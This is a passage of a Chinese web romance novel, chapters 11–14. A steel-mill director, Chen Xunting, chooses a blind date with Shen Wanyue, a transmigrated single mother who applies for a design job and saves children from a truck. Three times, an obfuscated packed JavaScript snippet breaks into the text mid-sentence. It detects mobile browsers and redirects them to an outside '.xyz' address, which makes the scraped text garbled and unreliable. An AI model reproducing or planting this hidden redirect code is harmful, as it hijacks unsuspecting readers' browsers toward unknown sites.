陈勋庭口中的这位同志,显然就是沈晚月。 “嗯,这小沈同志也不容易,二十四岁年纪轻轻的,从外地过来还带了两个孩子,似乎她家里着急,不然一准还能再找到条件更好一些的。” 她同意? 陈勋庭脑海中浮现出了两次见面时,那女人芙蓉花似的面容。 她身体似乎不太好,找这么个男人,以后免不了操劳。 太阳晒一下就得中暑的人。 她能受得了? 估计没几天就要病了。 也许还得出去工作,操持家里孩子,照顾丈夫老娘。 可能以后连多余出门的时间都没有了。 但她家里着急…… “二婶儿觉得他们俩合适?”陈勋庭莫名冒出来这么一句。 席巧云也是奇了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14208103|151043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怪,今天陈勋庭怎么对一个陌生人这么多话起来。 愣了愣,席巧云摇头:“钟强对女方没要求,同意结婚就行,女方……女方没照片,我也就知道这么个大概情况,不过她家里着急,合不合适的,既然同意了见面,应该是能成的。” 言下之意,合不合适不重要。 对这两个人而言,能结婚,就足够了,这才是最重要的。 陈勋庭听完以后,仍旧是没有离开的意思。 他不走,席巧云跟陈胜利也都只能等着他。 陈勋庭沉默着,脑海中却有一个他觉得疯狂的念头在野草一样的生长。 从脑海中,一直长到心里去,在他的左胸口狠狠扎了根。 他既然帮过忙,也许应该帮到底。 他理应帮助困难群众。 陈勋庭这样想。 他觉得十分合理妥帖。 于是—— “二婶儿,我答应相亲。” “……啥?!!” “卧槽大哥,我是不是做梦呢?” 席巧云跟陈胜利一番错/乱之后,两个人心绪还是久久不能平息。 陈胜利跟中了邪一样,念念叨叨,躲在角落里喃喃自语,“不可能吧,我大哥这是什么情况?早上没注意,太阳从西边升起来的?黄河的水是不是改流向了,我是不是还没睡醒啊……” 席巧云反应的快一点,一边高兴,一边又紧张,生怕陈勋庭反悔似的。 “勋庭啊,你答应相亲就好,你说要什么条件的女同志,二婶儿我加班加点给你相看,要不这样,二婶儿明儿再去联系联系附近的媒人,都……” “二婶儿。”陈勋庭语气淡淡:“不用这么麻烦,我看你手上这份资料就可以。” “这……啊?你说沈晚月同志?” “嗯。” 陈勋庭面无表情的点头,跟个僵尸似的,动作带着他自己都没发觉的僵硬。 11. 第 11 章 已经到了下班时间,可街道办组织部却依旧没有关门。 席巧云到现在都还没有从刚才的震惊中缓过来。 陈勋庭答应相亲,已经够让人意外了,但他竟然还指定了一位陌生的女同志相亲,这可不仅仅是意外,属于是开天辟地都难得一见了。 就连蹲墙角的陈胜利听了信都走过来,从席巧云手里接过资料。 “这位沈同志就只有这些资料,连照片都没有吗?”陈胜利震惊又疑惑。 席巧云:“从外地过来的,是她远房亲戚跟我口述的资料,哪里会有照片。” “两个孩子,不过年纪只有二十四岁。”陈胜利念着上面的字,抬起头怔怔看向陈勋庭。 “哥,你确定要跟这位同志相亲?” “有问题?”陈勋庭反问。 “不是不是。”陈胜利扣扣脑门,“你不是一直找借口说不想耽误别人家女同志吗,要说起来,她两个崽儿你两个崽儿也算是适配,但脾气秉性家庭背景这些都不清楚,撇开爷爷奶奶同不同意,这也不知道长相,万一……” 陈勋庭语气淡淡,说出了更重磅的消息:“我见过。” “……啊?好家伙,原来是一见钟情天赐良缘?” 陈勋庭:“……” 他只是想到这两次意外见面的这个沈晚月,就想自己或许可以帮她忙而已。 而且,自己不是也需要一个女人来应付家里的催婚,算是…… 两全其美。 “还说你早就盯上了人家,预谋已久,那这位女同志一定有什么特殊的地方,不会是什么天仙下凡吧,这得长得多漂亮,才能让我大哥……” 陈胜利还没说完,就被席巧云打断了。 “咳咳咳,有相亲的想法就好,只要是认真过日子的女同志,不管家室背景,家里知道了一准高兴。” 席巧云终于反应过来了,生怕陈勋庭反悔,连珠豆子的开口:“沈同志那边已经答应了见面,这临时换人,还是得跟她说一声,问问同不同意。” “应该如此,麻烦二婶儿问一下吧。” “我现在就问。” 桌子上,钟强的资料在席巧云转身的时候,再一次被收到了抽屉里。 对不住了钟强同志,陈勋庭的事儿能成,一准给你再好好找个媳妇儿。 …… “203,有电话找你们!” 正无聊的沈立民一个鲤鱼打挺蹦起来,跑着去帮姐姐接电话。 “你好同志,请问是沈晚月同志的家属吗?” “没错,是要约相亲见面的时间吧,同志你说我记一下就行。” “……是这样的同志。” 席巧云总结了一下语言,谨慎的开口:“除了上午介绍的邹强同志,还有一个不错的人选,不知道沈晚月同志愿不愿意换个相亲人选。” “啊?” 沈立民顿了顿,皱起眉,因为顾家人的缘故,他下意识的起了防备心。 “你们是不是不太靠谱啊,上午顾家过来,要不是我们问的清楚,连他有个生病的老娘都不知道,这次换的人又是什么条件?” 席巧云有些尴尬的笑笑:“我跟你家亲戚介绍的时候并没有隐瞒,应该是你家亲戚的问题,这不是我能控制的,同志你不要误会。” 沈立民仍旧是不高兴,换了谁,恐怕都有种被放鸽子的感觉,这种临时换人的事儿,在乡下都不多见。 “可是……” “怎么了?” 晚一步下楼的沈晚月走过来,眨眨眼看着弟弟紧皱的眉头,心里想到什么:“……相亲出问题了?” 而电话那头。 席巧云握着电话通,也有些发愁的跟陈勋庭对视了一眼。 这要是女方不同意该怎么办? 沈立民将情况说了一下后,沈晚月接过了电话筒。 “你好同志,我是沈晚月,可以说一下换人的原因吗?”沈晚月清楚,顾家人的问题跟那边没关系,不过她也想问个清楚。 席巧云认真说:“之前是我没考虑周到,钟强家里住的是亭子间,你这边还带着两个孩子,恐怕到时候大通铺都住不下,满足不了你要求有住处的条件,但当时没有更合适的人选,你亲戚又催的着急,就定了钟强同志。” “好的我了解了,那第二个男同志的大概情况可以也介绍一下吗?” 席巧云:“这个绝对合适!男方三十岁有两个孩子,不过,各方面条件都比邹强好很多,工作稳定工资也高,家里也没有负担,你可以完全放心。” 听着对方忽然高亢的语气,沈晚月犹豫了一下。 在媒人嘴里,瘸腿的都能说成是老实不爱出门,她对这个‘好很多’礼貌表示质疑。 “这位同志叫什么?”沈晚月下意识又问。 席巧云沉默两秒。 因为陈勋庭身份原因,还有一部分他个人原因,席巧云是不能直接说他名字的,毕竟炼钢厂厂长的身份,只要拿出来,全市看过报纸稍微关注的人都知道。 “陈勋庭。” 没等席巧云开口,反倒是旁边的陈勋庭自己先说了。 他神色如常,看起来好像也并不怎么在意。 席巧云点点头,又给电话那头重复了一遍。 沈晚月隐约听到了个男人的声音,她以为只是其他工作人员,也没有当回事儿。 不过,陈勋庭这个名字…… 怎么这么熟悉呢? “沈晚月同志。” 电话这边,席巧云又仔细想了一下,再次开口: “我能理解你,毕竟出门在外,是该有些防备,你看这样行不行,我是沪市东区金桥办事处的组织部组长,我叫席巧云,如果你同意见面,到时候我可以拿着我的工作证,跟陈勋庭一块同你见面。” 身为女人,席巧云完全能够理解沈晚月。 她在这里人生地不熟,说个亲又中间换了人,任谁都要有几分防备才对,而且她还带着孩子,往后的日子那么长,找男人自然要多多斟酌。 席巧云话说到了这个份上,沈晚月也感受到了对方诚意。 她握着电话听筒的手紧了紧,应了下来,又约定了时间后,才把电话给挂断。 沈立民:“姐,这不会是骗人的吧,比之前条件更好的人,谁知道是真是假,万一工作是假的呢?不行!到时候见面了我陪你去,还得让那个男人出示他的工作证明,最好婚前再去住处看一看。” 电话挂断,沈晚月还在努力的从脑海中搜寻好像被自己遗忘的部分记忆。 “先别吵。” 沈晚月一路思索着上了楼,刚坐下,思路就又被打断了。 “后天下午就见面?”沈建国听完同样有些奇怪,又说:“要不这样,我想想办法,看能不能在这边找到老乡,然后打听打听这个什么陈勋庭,电话里说他在哪儿工作了吗?” 沈立民:“是在炼钢厂上班,不过大哥,咱乡下的亲戚朋友连县城少去,往哪儿找什么熟人老乡啊。” 炼钢厂? ‘叮’的一声,沈晚月脑子里冒出来一个自己都觉得不可思议的念头。 “今天先休息吧。”沈晚月站起身准备去隔壁睡觉,“大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14208104|151043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哥,老乡不好找,要不明天你还是去炼钢厂附近,找里面的同事打听一下看看有没有这号人。” 其实沈晚月脑海中已经想起了什么,但她还想再确认一下。 “嗯,我明儿一早就去。” 屋里两个孩子早已经睡着了,沈晚月关上门,从门后拿出了前天那把炼钢厂陈厂长送的黑色尼龙雨伞。 在沈晚月印象中,身为厂长,怎么也该是孟厂长那种两鬓白发的模样。 可她却清楚记得,这位陈厂长长相英俊有气派,丝毫不显老气,他似乎很喜欢黑色,当然,黑色也很衬他的气质。 沉稳、沉默,神色冷峻。 “陈……” 沈晚月默默念了一遍这个名字。 当时匆忙之下,她甚至认错了人,再加上又要去找顾清树,当然也就没顾得上去问这位陈厂长的名字。 但是,沈晚月却知道,在原书中,后期男主顾清树有个死对头,或者说是作者为了后期的高潮,强行安排的一个所谓‘大反派’。 大反派的名字就叫陈勋庭。 因为两世记忆加起来太混乱了,如果不是把‘炼钢厂’跟‘陈勋庭’两个词放在一起,她差点就给忘了。 原书中,顾清树在后期终于克服了种种困难,当上了纺织厂的厂长,还领养了‘表妹’家的两个孩子,可他本该要享受美好生活时,却突然发生了意外。 炼钢厂跟纺织厂长期合作的运输上出了问题,陈勋庭举报了纺织厂的厂长在其中贪污受贿,克扣工人福利。 顾清树因此立刻被停职调查,不过拖了几个月,他当然还是被成功洗白,继续当他的厂长。 而陈勋庭却在这件事后,主动申请调离沪市,去了别的地方发展。 书中写,这个大反派陈勋庭脾气冷厉,喜怒无常,是个冷面阎罗。 但陈勋庭心中有个极其柔软的存在,就是他的白月光前妻。 前妻留下了两个孩子去世后,陈勋庭一生未娶,全身心扑在了工作上,连家都不怎么回,两个孩子都跟他渐行渐远,甚至这个冷冽的反派角色没少被读者骂,说他只是在立爱妻人设,不然不会连孩子都讨厌他。 所以…… 沈晚月看着手里的雨伞发愣。 自己遇见,可能真的是炼钢厂厂长陈勋庭。 可他主动帮助群众,甚至还把伞送给了自己,不是证明他没有书里写的那么可怕吗?或许他真的有一个白月光前妻也说不定。 想了许久,沈晚月也没想明白怎么自己就跟这位反派大佬相上亲的。 眼瞧时间不早了,她把伞重新放回了门后,躺了下去。 黑暗中,沈晚月听着自己的心脏在跳。 虽然陈勋庭看起来冷漠了点,但通过一次短暂的接触,沈晚月感觉他其实不算个坏人。 就算是在书里,他所谓的‘反派’标签,也是因为他想要帮工人争取利益,才举报的顾清树。 虽说有两个孩子,但他工资也高,是个工作狂魔,回家不多,但…… 但她好像并不在意。 她目前的需要只是有个住处安定下来。 至于男人年纪大工资高有低保还不回家,这不是理想中的状态吗? 就是不知道他对女人到底是个什么态度…… 看来只能等见面的时候再多了解了解了。 想来想去,沈晚月不知不觉有了困意,渐渐呼吸平稳下来。 天边无月,夜色深沉静谧。 两小时前的东区金桥街彩灯巷子,陈宏伟拎着刚买的卤圈子、鲈鱼,喜气洋洋朝着父母家走去。 12. 第 12 章 同在一条街道的不同巷子,走路也不过十来分钟的距离,但身为亲戚,除了陈胜利小时候经常往爷爷奶奶家跑找陈勋庭一起玩,等陈勋庭大了些分了自己的房子后,来往便少了,平时偶有聚会,也都是在爷爷奶奶家。 “勋庭到了没?” 陈宏伟推开门喊了一声,“我买了鲈鱼跟蜜枣山药糕这些小孩子喜欢的,他带着俩孩子呢吧。” 席巧云带着孙子跟陈胜利先一步到了,这会儿正在厨房操持着一块儿做饭,打开窗户招呼:“文杰带着文星松柏俩在后院玩儿,爸妈再跟勋庭说话,你把卤圈子递进来,带着蜜枣糕去后院。” “诶,知道了。” 陈宏伟高兴,媳妇儿说什么就听什么,还帮着把卤圈子给切好以后,才又去找几个孩子。 “哥哥,我也想玩。” 后院,陈松柏扒拉着陈文杰的胳膊,想要抢他手里的飞镖。 陈文杰十四了,比八岁的陈松柏高太多,小男孩扒拉了半天也没碰到陈文杰的手,气的在旁边直跺脚。 五岁的陈文星抱着个篮球在旁边拍打,看着哥哥扔出去的飞镖,害怕的躲在最远的墙角。 “陈文星,你帮我一起对付他。”陈松柏着急的找人帮忙。 “……”陈文星一愣,摇了摇头。 陈松柏哼了一声,“因为他是你哥是吧,你们俩欺负我!” 陈文星吓得一哆嗦,连忙又摇头,“没、没有。” 陈文杰是他哥,所以他也最知道他哥的厉害,他哥要是不给别人玩自己的东西,就算是打他一顿也不会给别人,他胆子小,才不去招惹他哥呢。 “胆小鬼。”陈松柏朝着陈文星做了个鬼脸,“你不知道呢吧,你爸马上要给你找后妈了。” 陈文星手里的篮球一下子掉在了地上。 其实,他还不能理解后妈的意思,但他记得,好像之前有人经常说现在的爸爸是他的后爸。 在他十分模糊的记忆里,已经不记得自己还有个前爸了,但却知道,自己现在的后爸,是个很凶很凶的大人…… 虽然后爸没有凶过自己,但却凶过哥哥,所以他从来不敢惹后爸生气。 “你是不是不知道后妈什么意思?”陈松柏哈哈大笑,冲了过去,“有了后妈就有后爹,你爹以后对你肯定越来越不好,你要倒霉咯……” “陈松柏!” 陈宏伟走过来的时候,就听到了最后一句话,气的抄起墙边的扫帚就冲了过去,扬起胳膊作势打人。 “臭小子,谁教你说的这些话,上学不知道好好学习,一天天就知道欺负弟弟!” “爷爷,我们班上的同学都这么说的,我没有欺负他,我是跟他聊天呢。”陈松柏说着,撒丫子就往厨房跑,一边跑一边喊奶奶救命。 陈宏伟气的想要追过去,可转头看见已经红了眼眶的陈文星,连忙快步走过去。 陈文星反而被吓得又一哆嗦,终于忍不住哭了起来。 这孩子一直胆子小,家里人也都知道,陈宏伟赶紧扔了手里的扫帚,抱着安慰了好一会儿,才把人给哄好。 “别听那个臭小子乱说,你爸爸最疼你,就算找妈妈也会找疼你的妈妈,快别哭了。” 陈宏伟说着掏出来蜜枣糕,“看这是什么?我只给你,不给陈松柏,等回家去了,我再惩罚他欺负你。” 陈松柏是陈宏伟二儿子的独子,一直以来在爷爷奶奶身边养大,娇气惯了,哪里真的会罚他。 可陈文星却信了。 年画娃娃一样的小孩子自己给自己擦了擦眼泪,转头咬了一口蜜枣糕后,委屈的说:“二爷爷别罚他了,我没事了。” 陈宏伟心里一软,感叹着自家孙子要是有陈文星这么听话懂事该多好。 “文杰,你也来吃。”陈宏伟起身招呼陈文杰。 陈文杰只是扭头看了一眼。 小少年的身量已经快有大人那么高了,瘦瘦的,脸颊上长着几颗雀斑。 “不用了。” 陈文杰转过头,继续玩着那几个怎么也打不中靶子的飞镖。 陈宏伟琢磨了一下,走过去,“刚才松柏的话你也别在意,虽说你爸结婚的事儿还早,但早晚是要结的,你不要有心理负担,没人会为难孩子,而且你爸也疼你俩,别想太多。” ‘啪嗒’一下,又一个飞镖落了地。 还是没有中靶,甚至连靶子的边都没挨上。 陈文杰咬咬牙,扭头跑过去把飞镖再次捡了起来,继续尝试。 整个过程,丝毫没有搭理陈宏伟的意思。 陈宏伟有些尴尬,才要继续说什么,陈文杰这才开口:“二爷,我什么也没想。” 陈宏伟松了口气,笑了出来,“那就行,你们两个都是好孩子,我先进去,等会儿吃饭了喊你们。” “嗯。” 等陈宏伟离开,陈文杰再一次扔完了手里的飞镖。 他转头看见还在墙角吃蜜枣的陈文星,皱了皱眉,“就知道哭,没出息。” “……QAQ” 好不容易不哭的陈文星愣了愣,嘴巴一咧眼圈又红了。 …… 家里这次聚餐是为了陈勋庭,他答应了相亲,家里人都高兴,陈铁军老两口本来想拉着他问问跟这个女同志到底是怎么个情况,可人到了以后,只要提起来,陈勋庭就一言不发。 等饭都吃完了,也没从陈勋庭嘴里得知人家半点消息。 陈勋庭不说话,却想了很多。 吃完饭回到家,他独自一人坐在沙发上,看着手里的报纸,思绪却跑到了白天沈晚月那张资料表上。 他是不是太冲动了? 陈勋庭自诩是个冷静沉着的人,生活在的一切都被他安排的井然有序,很少有冲动甚至着急的时刻。 可这次…… 如果不是冲动,他完全不可能跟席巧云说那样的话。 正常情况下,他只会再考虑一遍自己的情况,他这样一个不着家,甚至连孩子都不愿意亲近的人,把人家娶过来,人家肯定觉得受冷遇。 也许……还不如在普通人家,若是跟丈夫感情好,日子辛苦些,但或许也会很幸福。 有那么一瞬间,陈勋庭甚至想着要不取消这次相亲的好。 不过这个想法到了嘴边,他却始终说不出来。 既然已经答应了,就不该反悔。 到时候,多给些补偿就罢了。 - 一夜无梦,沈晚月醒的时候,两个孩子已经跟着沈立民去吃早饭了。 她洗漱后简单喝了点水并没有急着下楼,而是找了铅笔,自己坐在屋子里对着昨天出去买的稿纸思索着什么。 穿过来以后,沈晚月这具身体状况一直很差,有很长一段时间,她都只能躺在家里修养,等好了又开始搜集顾清树的消息,之后就直接来了沪市。 这段时间里,她不是没有考虑过工作的事情,只是腾不出来时间,直到昨天去买了稿纸,今天出终于找出来一段闲着的时间坐下。 沈晚月大学的专业是服装设计,毕业 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笔随心动,脑海中有了画面,安静地屋里很快便响起了铅笔勾勒的沙沙声。 她选择的配件是胸针跟丝巾,看似是很小的物件,但戴在身上,很容易起到画龙点睛的效果,也很容易被不想改变穿衣风格的人接受。 铅笔并不顺手,但好在沈晚月足够熟练,再加上有灵感,很快,稿纸上便有了设计雏形,再经过一上午时间的调整润色,她感到脖子疼时,再抬头已经到了中午。 “妈妈,吃饭啦——” 沈晚月点点头揉着脖子,琪琪跟天凯已经走到了自己身边。 “哇,好漂亮的扣子!” 天凯看着稿纸上的胸针大声感叹,“妈妈,你画的扣子好漂亮啊,上面的花花像是之前在画报里看得那种,不对不对,比画报里面的还好看!” 第二章的丝巾也随之露了出来,天凯愣了愣,又大喊,“妈妈,这个三角毛巾上是蛇吗?但是这个蛇蛇也好漂亮。” “笨蛋。”琪琪嫌弃的看了眼弟弟,转而拿起稿纸,“妈妈这画的是凤凰吧,我之前在画报里看过,不过妈妈画的花纹更美。” “是凤凰纹,但不是凤凰,另一个……也算是扣子的一种吧。”沈晚月笑眯眯的解释。 她没有画传统的对称丝巾,而是在丝巾左端设计了简笔的凤凰,后面的纹路再从左端蔓延出去。 “可真漂亮。” 琪琪的手小心翼翼抚上去,轻轻碰了碰:“要是能变成真的,肯定更好看。” 那得看服装厂给不给这个机会了。 “说不定真的可以变成真的。” 沈晚月说着收起画稿,安抚着两个孩子先去吃饭。 沈建国是中午回来的,他说出打听到陈勋庭是炼钢厂厂长这个消息时,沈立民吓得差点从椅子上摔下去。 沈建国也同样,打从打听完消息,便一直心慌的厉害,总觉得是自家妹子被骗了。 “骗不骗的,想那么多不还是要去见面,到时候立民陪着我去,还怕他会拐卖我不成?” 沈晚月想明白后,倒是不怎么在意。 兵来将挡水来土掩,她丝毫不慌。 况且,她现在还有其他的事情要忙。 相亲时间定在了明天下午,但是沈晚月昨天从报纸上看的服装厂招聘广告截止时间也是明天。 她得把设计稿再完善完善,等明天上午给服装厂送过去。 13. 第 13 章 现在沪市为了密集产业链节省成本,几个稍微大点的厂都集中转移到了南区的平淞河流域附近。 也就是上次她曾去过的纺织厂附近。 第二天一早,沈晚月按照上次的公交车路线,坐了约摸半小时,再次站在了纺织厂前的公交站旁,不过这次她要去的是再远一些的服装厂。 “同志你好,请问你们这边招设计方面的工人吗?” “不招不招。” 没有意外的,沈晚月得到了否定的答复,门岗处头都没抬,就挥了挥手示意沈晚月尽快离开。 毕竟这年头想找工作的人太多了,赶上日子,一天十几个来问有没有工作的。 厂里临时的搬运装车工倒是偶尔有空缺,但设计这种职位,那都是高材生才有机会接触的工作机会。 沈晚月来前便知道可能会这样,转头将刚买的信封写上名字后递交到了门岗处。 “同志,我从报纸上看到过服装厂的招工广告,这里面是我的简历,麻烦替我转交。” 门岗有接收邮件的职责,听她这样说,那人仍是没抬头。 “这个倒是没问题,你就放到旁边盒子里吧,那里面都是今天才送过来的简历,晚一点会统一拿进去。” “谢谢。” 沈晚月递交过去后就准备离开,结果意外的是,服装厂大门忽然打开,里面熙熙攘攘挤着出来了十几个人,最中间的男人年纪有些大,但却笑盈盈的对着旁边一个青年说着什么。 等走近了,沈晚月才听出来他是在给青年介绍服装厂的情况。 “搬迁以后的服装厂比之前规模更大,除了刚才车间的扩张以外,我们再设计方面也有人才引进计划,除了已经联系了刚回国的毛师傅来坐镇,还刊登了广告广纳贤士,比如……” 随着他们越走越近,中间的男人脑袋一转,目光落在了看热闹的沈晚月身上。 “比如这位女同志!” 男人像是抓到了什么稻草,眼睛放着光走了过来。 沈晚月本来就是个路人,热闹还没看到,就见他们已经大步朝着自己走过来。 沈晚月:“……” “同志,我想你一定也是看了我们的广告才来应聘的吧。” 乱入的沈晚月愣了愣,没等她开口,刚才门岗房里抱着脑袋看连环画的看门师傅已经笔直的站了起来。 “报告牛主任!这位同志刚把自己的简历送到我这边!”看门师傅声如洪钟,好似刚才对沈晚月爱答不理的是另一个人。 沈晚月掩饰了眼神中的无奈,淡淡点了点头,“是的,我看了广告后才来投的自己的设计稿。” “看!” 牛主任神采飞扬,声音洪亮,把沈晚月吵的默默后退了半步。 “时代发展靠的是人才!而我们正在努力把人才聚集到服装厂,相信在不久的未来!一定能设计出更多让大众喜爱的服饰!” “同志!” “……怎么了?” “方便将你的设计稿拿出来给我们展示一下吗?也算是我对你的提前面试,怎么样?” 在设计方面,沈晚月对自己还是很自信的,没有犹豫点了头。 门岗师傅立刻拿出她刚放进去的信封,牛主任接过来,看了眼上面的名字,大笑了三声。 “好好好,那就借这个机会,让我们来一起检验下这位……沈晚月小同志的水平如何。” 沈晚月? 牛主任旁边举话筒的青年猛地侧过头。 陈胜利今天来服装厂是组织上安排的外采任务,但他怎么也没想到,竟然在这里提前见到了自己这位神秘的未来大嫂。 沈晚月今天穿是棉布蓝色短衫,半长的头发被她用略大的发夹斜斜挽在后面。 微风轻拂过碎发,漂亮的眸子边,那可微红的泪痣都好似在跟着颤动。 真……美啊。 陈胜利无声的发出感叹。 她的美不同于那种可以言说浮于表面的漂亮,而是从内而外的散发着一种夺目的魅力。 知性,大方,美艳。 这是陈胜利在这一眼间得出的结论,他的大哥,真是赚到了。 可是这样漂亮的女人怎么就能单身还有两个孩子了呢? 没等陈胜利多想,牛主任那边已经报发出了更加大声的感叹。 “这胸针上设计的海棠花简直太完美了,你是怎么想出来加入珍珠点缀的,凤凰纹丝巾也很有设计感……小沈同志,你是哪所高校的学生?” 小沈同志愣了愣,茫然的眨眨眼。 她总不能说自己是里坝镇二里沟第二中级学校毕业的吧。 这毕竟是在采访,也不合适。 “我学历并不高。” 沈晚月声音清亮,大方不怯场的慢慢开了口:“但我从小对设计感兴趣,看了不少这方面的书,算是自学。” “嘶……” 除了牛主任,他身边跟着的一位女同志看过设计稿后也忍不住发出了诧异赞叹的声音。 “真是了不起。” “太了不起了!”牛主任放光芒的双眼此刻更加热情,“看,这就是我们当代有志气的年轻人!他们才是我们的未来!我们需要更多这样有热情、有抱负的同志加入我们!” 只是想混口饭的沈晚月沉默了。 她乖巧的站在旁边,安静的配合着牛主任,同时尽量让自己保持微笑,来都来了,不能给当代大学生丢人不是。 只是招工并没有这么简单,如果想当国企工厂的正式员工还得层层审批,最后这位牛主任留了沈晚月的联系方式,说等所有简历都审阅完了,再通知她后续能不能入职。 那边采访也结束了,摄像机面前热血沸腾的牛主任终于松弛下来,端着茶壶‘咕咚咚’灌了两口水,招呼沈晚月过去。 “小同志你不是本地人吧,你放心,你的能力出众,到时候就算是临时工也能给你安排上的,放心回去吧。” “谢谢牛主任。” 等人一走,沈晚月这才松了口气,看来,至少是能混口饭吃了。 这口饭能混成多大的碗,沈晚月也不确定,不过只要有机会进厂,未来就有发展空间。 沈晚月本就知道这年头找工作难,让顾家帮忙,也是想碰碰运气,后来虽然改成了结婚,但她不想把鸡蛋都放在一个篮子里,工作方面也一直在找机会。 更何况,从前在现代她是一个人吃饱足够,而现在,她既然决定了带着两个孩子,就得对两个宝宝负责任才行。 她是个吃不了苦的人,所以选择了动笔的行业,当然,她也不想让孩子吃苦,所以必须得做两手准备。 不知不觉,太阳已经升起来了老高,温度也逐渐热起来。 已经出门三个小时了,沈晚月算着时间,准备往回赶公交车。 “叮叮叮叮叮叮……” “喂你干什么,快点开到旁边去啊……” “呜呜呜呜呜救,爸爸救命……”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14208106|151043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>沈晚月所处的公交车站台前,突然从拐角处蹿出来一辆自行车。 这自行车是一个年纪稍大的男孩儿在骑,后面还坐着一个年纪相仿的男孩儿,再后面,跟着一个小跑出来的五六岁的小孩子。 工厂前的路为了要通货车,所以非常的宽阔,平日里没人还好,这年头车少,这宽度本来是足够的。 可前提是如果没有意外的话。 迎面来的货车根本没有料到工厂旁边的拐角巷子里,会忽然这么冲出来一辆自行车,因为是拐角,有视野盲区,旁边又是平淞河,货车根本来不及打转向。 如果强行转向,货车会冲破平淞河的围栏,可尽管如此,依照货车的长度,还是会碰撞到自行车。 “完了。” 千钧一发之际,沈晚月几乎没有反应的时间,她本能一样的朝着自行车俯冲而去。 在货车司机疯狂打方向盘,货车转向的那一刻,沈晚月用尽全力将自行车撞到在了旁边。 两个自行车上少年跟沈晚月一起摔到在地上,后面跟着的小男孩也被前面的少年砸到了腿,摔到在地上哭起来。 ‘轰隆——’ 一声巨响。 再回头,货车已经撞断了平淞河的花岗岩围栏。 连车带货,直接冲进了平淞河。 这样巨大的力度,哪怕刚才司机为了保住自行车,已经强行转了向,若是自行车没停下来一定会被砸到,两个男孩恐怕连命都保不住! “老天爷!地震了是?” “快快快,报警啊!快啊!出事了!” “呜呜呜呜爸爸呜呜呜呜……” “……” 周围声音逐渐杂乱,沈晚月惊魂未定。 她被自行车砸到身上,整个人身上都是疼的,脑子也嗡嗡响,如果不是太阳晃得眼睛痛,她都可能要直接昏过去了。 “卧槽!” 陈胜利采访完刚做完总结,本想着出来看看能不能追上自己的未来大嫂,没成想刚回过头就听见了这声巨响,等小跑着过来的时候,就看见未来大嫂跟自家两个哭的稀里哗啦的侄子都摔倒在地上。 “胜利叔呜呜呜呜……” 陈松柏早就吓的面如土色,终于看到熟悉的人,哭着便扑了上去。 他旁边的少年因为在后座坐着,没什么大伤,愣愣的坐在地上,还没反应过来怎么回事儿。 再后面,是吓得尿了裤子的陈文星,六岁的小孩子这会儿哭的上气不接下气,手上好像还受了伤。 “陈!松!柏!” 陈胜利只看了一眼,火气便冒了上来,伸出胳膊不留情面的扇了过去。 “别哭了!给我滚到旁边等着去!” 十四岁的陈松柏捂着脸,他疼的厉害,却被吓得不敢再哭,张着嘴掉着眼泪蹲到了旁边。 货车司机那边早有人冲过去帮忙救人。 陈胜利皱着眉将自行车先从沈晚月腿上挪开,嘴里慌乱的喊着大嫂。 晕晕乎乎的沈晚月眼前终于有了点颜色,可仍是没回神:“……大嫂?什么大嫂?我又穿越了?” 她可是很惜命的,刚才打量了距离应该最多撞点皮外伤,难道说摔倒的时候磕着脑袋,所以才又把灵魂给撞到另一个世界去了不成…… 那老天保佑,自己都做好事了,这次换个条件好点的背景行不行? 沈晚月昏迷过去之前,除了这句话以外,还心痛的想起了家里还有两个嗷嗷待哺的崽子该怎么办。 14. 第 14 章 筒子楼。 “嫂子你是说,可能这个姓陈的领导,大概率是席巧兰婆家的人?” “昨晚上你哥回来跟我一说我才想起来,席巧兰的男人不就是姓陈。”顾清华给小姑子洗了个苹果递过去。 孙家拢共一男一女两个孩子,孙铁柱跟孙父孙母都及其疼爱孙燕这个妹妹,当年想尽办法,把孙燕送到了工农兵大学念书,现在毕业了,还出钱给她疏通了学校老师的岗位。 现在要相亲,小姑子心气高,回来让孙铁柱帮着一起查了查这个所谓姓陈的男同志。 其实并不难猜,毕竟席巧兰男人也姓陈。 “燕子,说不定啊,你这回真是要攀上高枝儿了。”顾清华讨好的说:“你想想,陈家高门大户,陈老爷子就不用说了是退下来的老司令,除了他以外,陈家哪个男人不是有头有脸的。” 孙燕哼了一声,“我这么优秀,配个高点的人家也正常,那这个领导到底是陈家的谁啊?” “让你猜你都不敢猜,你哥说,八成就是第四炼钢厂的陈厂长!” “炼钢厂?!” 孙燕自己都吸了口气,惊得苹果都掉在了地上。 这可是沪市第四炼钢厂,那生意可是做到全国的,同样是厂长,职位评级要高别的厂长一头! “吓着了吧,我也是吓了一跳,没想到找到了个这么个大领导来,不过嘛……” 